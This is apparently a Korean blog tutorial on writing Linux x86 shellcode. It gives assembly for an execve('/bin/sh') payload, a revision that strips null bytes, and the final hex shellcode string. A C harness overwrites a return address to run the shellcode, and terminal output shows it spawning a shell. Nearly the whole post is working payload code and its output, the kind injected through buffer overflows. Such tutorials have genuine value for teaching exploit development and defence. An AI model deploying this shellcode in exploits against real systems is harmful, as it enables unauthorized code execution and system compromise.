쉘코드 제작하기!

.globl main
main:
        jmp strings

start:
        pop %esi

        xor %eax, %eax          // 초기화
        xor %ebx, %ebx          // 초기화
        xor %ecx, %ecx          // 초기화
        xor %edx, %edx          // 초기화

        mov %esi, 0x0(%esp)          // %esp+0 부분에 "/bin/sh" 입력, name[0]
        mov %eax, 0x4(%esp)          // %esp+4 부분에 NULL 입력, name[1]

        mov $0xb, %al            // execve 시스템콜에 해당하는 0xb %eax에 입력
        mov %esi, %ebx           // "/bin/sh" 를 %ebx에 입력
        lea 0x0(%esp), %ecx      // name[2] 주소를 %ecx에 입력
        int $0x80

strings:
        call start
        .string "/bin/sh"

이전에 만들어 둔 쉘코드만 추출하는 스크립트를 이용해 쉘코드를 뽑아내면 \x00이 포함된다. 따라서 아래와 같이 다시 수정한다.

.globl main
main:
        jmp strings

start:
        pop %esi

        xor %eax, %eax
        xor %ebx, %ebx
        xor %ecx, %ecx
        xor %edx, %edx

        mov %esi, 0x1(%esp)
        mov %eax, 0x5(%esp)

        mov $0xb, %al
        mov %esi, %ebx
        lea 0x1(%esp), %ecx
        int $0x80 

strings:
        call start
        .string "/bin/sh"

최종 완성된 쉘코드는 아래와 같다.

\xeb\x1b\x5e\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x89\x74\x24\x01\x89\x44\x24\x05\xb0\x0b\x89\xf3\x8d\x4c\x24\x01\xcd\x80\xe8\xe0\xff\xff\xff/bin/sh
[gate@localhost shellcode]$ cat go.c
char shellcode[] =
"\xeb\x1b\x5e\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x89\x74\x24\x01\x89\x44\x24\x05\xb0\x0b\x89\xf3\x8d\x4c\x24\x01\xcd\x80\xe8\xe0\xff\xff\xff/bin/sh";

main()
{
   int *ret;
   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;
}
[gate@localhost shellcode]$ gcc -o go go.c
[gate@localhost shellcode]$ ./go 
bash$ 

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다